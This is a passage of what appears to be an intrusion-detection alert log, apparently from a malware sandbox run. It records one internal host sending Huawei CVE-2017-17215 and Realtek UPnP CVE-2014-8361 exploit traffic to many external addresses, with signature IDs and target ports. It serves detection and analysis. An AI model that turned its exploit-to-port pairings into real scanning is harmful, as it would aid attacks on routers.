Source Port:	54978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.28.156.220

Timestamp:	07/20/24-23:01:11.634372
SID:	2829579
Source Port:	50486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.75.193.125

Timestamp:	07/20/24-23:01:03.072080
SID:	2027339
Source Port:	56664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.234.190.125

Timestamp:	07/20/24-23:01:43.185498
SID:	2831300
Source Port:	37436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.189.246.31

Timestamp:	07/20/24-23:01:41.275004
SID:	2027339
Source Port:	55772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.80.243.157

Timestamp:	07/20/24-23:01:42.322405
SID:	2025132
Source Port:	49484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.106.80.160

Timestamp:	07/20/24-23:01:21.909111
SID:	2829579
Source Port:	48624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 213.191.23.16

Timestamp:	07/20/24-23:01:21.937814
SID:	2835222
Source Port:	45388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 100.224.33.210

Timestamp:	07/20/24-23:01:41.286911
SID:	2025132
Source Port:	33388
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.195.41.193

Timestamp:	07/20/24-23:01:42.869520
SID:	2027339
Source Port:	58910
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.195.231.185

Timestamp:	07/20/24-23:01:24.934684
SID:	2829579
Source Port:	56506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.242.111.156

Timestamp:	07/20/24-23:01:41.722890
SID:	2831300
Source Port:	38548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.71.150.37

Timestamp:	07/20/24-23:00:59.161892
SID:	2829579
Source Port:	32798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.207.38.235

Timestamp:	07/20/24-23:01:41.909668
SID:	2027339
Source Port:	42420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.80.173.172

Timestamp:	07/20/24-23:01:49.553791
SID:	2831300
Source Port:	33484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 20.232.50.163

Timestamp:	07/20/24-23:01:51.288562
SID:	2831300
Source Port:	38350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.106.198.203

Timestamp:	07/20/24-23:02:21.004725
SID:	2027339
Source Port:	56508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.204.232.202

Timestamp:	07/20/24-23:01:52.041756
SID:	2027339
Source Port:	36888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.245.116.58

Timestamp:	07/20/24-23:00:59.211046
SID:	2835222
Source Port:	37624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.230.144.186

Timestamp:	07/20/24-23:01:43.180913
SID:	2025132
Source Port:	54438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.217.160.56

Timestamp:	07/20/24-23:01:55.125263
SID:	2025132
Source Port:	57470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.16.79.3

Timestamp:	07/20/24-23:01:31.323042
SID:	2027339
Source Port:	43226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.106.84.138

Timestamp:	07/20/24-23:01:57.101402
SID:	2027339
Source Port:	34722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 144.166.152.235

Timestamp:	07/20/24-23:01:13.310941
SID:	2025132
Source Port:	34298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.220.3.30

Timestamp:	07/20/24-23:01:02.304416
SID:	2027339
Source Port:	37654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.198.124

Timestamp:	07/20/24-23:01:21.951975
SID:	2829579
Source Port:	53174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.129.118.181

Timestamp:	07/20/24-23:01:24.876750
SID:	2829579
Source Port:	53958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.243.101.70

Timestamp:	07/20/24-23:01:55.366575
SID:	2027339
Source Port:	33730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.24.62.182

Timestamp:	07/20/24-23:01:11.636425
SID:	2829579
Source Port:	50652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.100.122.131

Timestamp:	07/20/24-23:01:45.075399
SID:	2025132
Source Port:	35962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.117.47.181

Timestamp:	07/20/24-23:01:31.323042
SID:	2027339
Source Port:	38880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.210.7.241

Timestamp:	07/20/24-23:01:43.895586
SID:	2027339
Source Port:	52138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.173.195.222

Timestamp:	07/20/24-23:01:24.990022
SID:	2025132
Source Port:	56464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 83.28.127.148

Timestamp:	07/20/24-23:01:58.035425
SID:	2025132
Source Port:	52626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.105.50.58

Timestamp:	07/20/24-23:01:04.040812
SID:	2835222
Source Port:	48558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.12.12.126

Timestamp:	07/20/24-23:01:00.645051
SID:	2829579
Source Port:	42956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.141.27.208

Timestamp:	07/20/24-23:01:55.546480
SID:	2027339
Source Port:	56624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 141.38.115.93

Timestamp:	07/20/24-23:01:50.901722
SID:	2025132
Source Port:	32886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.103.95.129

Timestamp:	07/20/24-23:02:03.068984
SID:	2025132
Source Port:	52552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.228.135.229

Timestamp:	07/20/24-23:01:53.267116
SID:	2831300
Source Port:	57100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.20.172.49

Timestamp:	07/20/24-23:01:25.288586
SID:	2027339
Source Port:	33274
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.182.118.208

Timestamp:	07/20/24-23:01:42.499887
SID:	2025132
Source Port:	42864
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.107.251.119

Timestamp:	07/20/24-23:01:42.786028
SID:	2027339
Source Port:	56518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.189.132.142

Timestamp:	07/20/24-23:00:59.213564
SID:	2835222
Source Port:	40646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.134.23.85

Timestamp:	07/20/24-23:01:31.976649
SID:	2829579
Source Port:	57286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.165.214.181

Timestamp:	07/20/24-23:01:47.474975
SID:	2025132
Source Port:	36434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.56.72.194

Timestamp:	07/20/24-23:01:08.700029
SID:	2027339
Source Port:	44644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.212.150.4

Timestamp:	07/20/24-23:01:49.232174
SID:	2027339
Source Port:	51510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.73.64.241

Timestamp:	07/20/24-23:01:04.118165
SID:	2835222
Source Port:	55284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 83.250.249.17

Timestamp:	07/20/24-23:02:05.476791
SID:	2025132
Source Port:	49842
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 149.51.58.185

Timestamp:	07/20/24-23:01:42.890948
SID:	2025132
Source Port:	49942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.116.25.221

Timestamp:	07/20/24-23:01:08.588009
SID:	2027339
Source Port:	48686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.188.148.79

Timestamp:	07/20/24-23:01:54.053348
SID:	2027339
Source Port:	48152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.230.66.89

Timestamp:	07/20/24-23:01:46.241196
SID:	2831300
Source Port:	60242
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.131.8.148

Timestamp:	07/20/24-23:02:14.686790
SID:	2027339
Source Port:	35484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.199.163

Timestamp:	07/20/24-23:00:57.222279
SID:	2835222
Source Port:	47332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.112.214.83

Timestamp:	07/20/24-23:02:09.095115
SID:	2025132
Source Port:	35686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.111.4.84

Timestamp:	07/20/24-23:01:24.833522
SID:	2027339
Source Port:	48236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.155.182.26

Timestamp:	07/20/24-23:01:51.944007
SID:	2027339
Source Port:	60766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.18.125.219

Timestamp:	07/20/24-23:01:56.210612
SID:	2027339
Source Port:	59372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.0.45.254

Timestamp:	07/20/24-23:01:02.090403
SID:	2025132
Source Port:	36694
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.63.61.192

Timestamp:	07/20/24-23:01:08.585790
SID:	2027339
Source Port:	53264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.8.175.218

Timestamp:	07/20/24-23:01:46.580798
SID:	2027339
Source Port:	44132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.170.123.220

Timestamp:	07/20/24-23:01:43.965873
SID:	2025132
Source Port:	51534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.198.46.124

Timestamp:	07/20/24-23:01:58.751559
SID:	2027339
Source Port:	43492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.81.102.7

Timestamp:	07/20/24-23:01:31.327808
SID:	2027339
Source Port:	46250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.75.101.67

Timestamp:	07/20/24-23:01:45.735394
SID:	2027339
Source Port:	44298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 202.106.145.234

Timestamp:	07/20/24-23:01:02.059312
SID:	2829579
Source Port:	54922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.106.41.174

Timestamp:	07/20/24-23:01:20.601040
SID:	2025132
Source Port:	57016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.100.42.211

Timestamp:	07/20/24-23:01:58.249115
SID:	2025132
Source Port:	40794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.42.75.0

Timestamp:	07/20/24-23:01:31.991548
SID:	2829579
Source Port:	57218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.116.164.169

Timestamp:	07/20/24-23:01:42.719940
SID:	2027339
Source Port:	37788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.190.167.168

Timestamp:	07/20/24-23:01:43.173843
SID:	2027339
Source Port:	48376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 195.93.174.118

Timestamp:	07/20/24-23:01:14.111381
SID:	2835222
Source Port:	60172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.66.153.204

Timestamp:	07/20/24-23:01:31.975107
SID:	2829579
Source Port:	50162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 137.86.119.85

Timestamp:	07/20/24-23:01:32.060731
SID:	2829579
Source Port:	60036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.102.32.106

Timestamp:	07/20/24-23:01:43.906354
SID:	2831300
Source Port:	40552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.85.2.136

Timestamp:	07/20/24-23:01:55.497526
SID:	2027339
Source Port:	55536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.45.122.255

Timestamp:	07/20/24-23:01:50.418920
SID:	2027339
Source Port:	56400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.182.114.212

Timestamp:	07/20/24-23:01:07.082045
SID:	2829579
Source Port:	51914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.63.153.183

Timestamp:	07/20/24-23:01:43.288086
SID:	2025132
Source Port:	57260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.173.191.58

Timestamp:	07/20/24-23:01:48.322055
SID:	2027339
Source Port:	53270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.185.218.214

Timestamp:	07/20/24-23:01:04.082384
SID:	2829579
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.195.103.231

Timestamp:	07/20/24-23:01:13.972649
SID:	2025132
Source Port:	47400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.37.94.236

Timestamp:	07/20/24-23:01:08.597662
SID:	2027339
Source Port:	55010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.162.13.246

Timestamp:	07/20/24-23:01:31.322110
SID:	2027339
Source Port:	44766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.67.134.63

Timestamp:	07/20/24-23:01:01.271651
SID:	2027339
Source Port:	60772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.7.66.220

Timestamp:	07/20/24-23:01:42.869521
SID:	2027339
Source Port:	56828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.2.96.116

Timestamp:	07/20/24-23:01:52.285243
SID:	2027339
Source Port:	47850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 156.32.87.120

Timestamp:	07/20/24-23:01:25.819962
SID:	2025132
Source Port:	49936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.63.115.173

Timestamp:	07/20/24-23:01:09.027075
SID:	2027339
Source Port:	32880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.192.4.35

Timestamp:	07/20/24-23:01:44.674251
SID:	2831300
Source Port:	49456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 66.67.190.136

Timestamp:	07/20/24-23:01:27.660099
SID:	2835222
Source Port:	56250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 209.10.74.49

Timestamp:	07/20/24-23:01:50.985732
SID:	2831300
Source Port:	41786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.168.17.251

Timestamp:	07/20/24-23:01:21.951975
SID:	2835222
Source Port:	44260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.207.100.170

Timestamp:	07/20/24-23:01:51.183470
SID:	2025132
Source Port:	59044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.64.245.14

Timestamp:	07/20/24-23:01:08.630327
SID:	2027339
Source Port:	34078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.143.61.103

Timestamp:	07/20/24-23:00:57.221248
SID:	2829579
Source Port:	38000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.224.134.244

Timestamp:	07/20/24-23:02:06.441271
SID:	2027339
Source Port:	46226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.147.61.106

